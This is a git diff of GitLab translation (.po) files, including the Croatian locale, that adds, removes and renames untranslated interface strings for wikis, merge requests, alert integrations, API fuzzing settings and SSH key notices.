@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/hr_HR/gitlab.po b/locale/hr_HR/gitlab.po
index 73535f03f7f..2fa70c6ae8a 100644
--- a/locale/hr_HR/gitlab.po
+++ b/locale/hr_HR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: hr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:49\n"
+"PO-Revision-Date: 2021-04-02 00:09\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -130,6 +130,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -229,6 +235,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -451,6 +463,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -463,6 +478,12 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -490,21 +511,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} more"
msgstr ""
@@ -601,7 +610,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1006,6 +1015,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1141,6 +1153,9 @@ msgstr[2] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1228,6 +1243,12 @@ msgstr[0] "1 dan"
msgstr[1] "%d dana"
msgstr[2] "%d dana"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1252,6 +1273,18 @@ msgstr[0] "1 sat"
msgstr[1] "%d sata"
msgstr[2] "%d sati"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1264,6 +1297,12 @@ msgstr[0] "1 minuta"
msgstr[1] "%d minute"
msgstr[2] "%d minuta"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1294,6 +1333,18 @@ msgstr[0] "1 korisnik"
msgstr[1] "%{num} korisnika"
msgstr[2] "%{num} korisnika"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1411,9 +1462,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1423,13 +1471,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1504,9 +1549,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1525,13 +1567,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1543,6 +1597,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1555,16 +1612,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1573,16 +1633,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1615,9 +1675,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1795,6 +1852,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1825,12 +1885,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1876,6 +1930,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1951,6 +2008,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1978,9 +2038,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2008,6 +2065,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2026,6 +2086,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2119,6 +2182,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2146,6 +2212,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2287,9 +2356,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2725,6 +2791,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2773,6 +2845,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2935,6 +3010,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2950,13 +3031,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2965,25 +3049,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2998,24 +3085,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3025,6 +3124,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3034,9 +3136,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3073,7 +3172,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3163,9 +3265,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3229,6 +3328,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3256,6 +3358,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3313,6 +3418,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3436,6 +3544,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3448,9 +3559,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3541,7 +3649,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3679,9 +3787,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3883,6 +3988,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3910,6 +4018,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3919,6 +4030,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3928,9 +4042,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4069,6 +4180,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4129,6 +4246,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4171,13 +4294,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
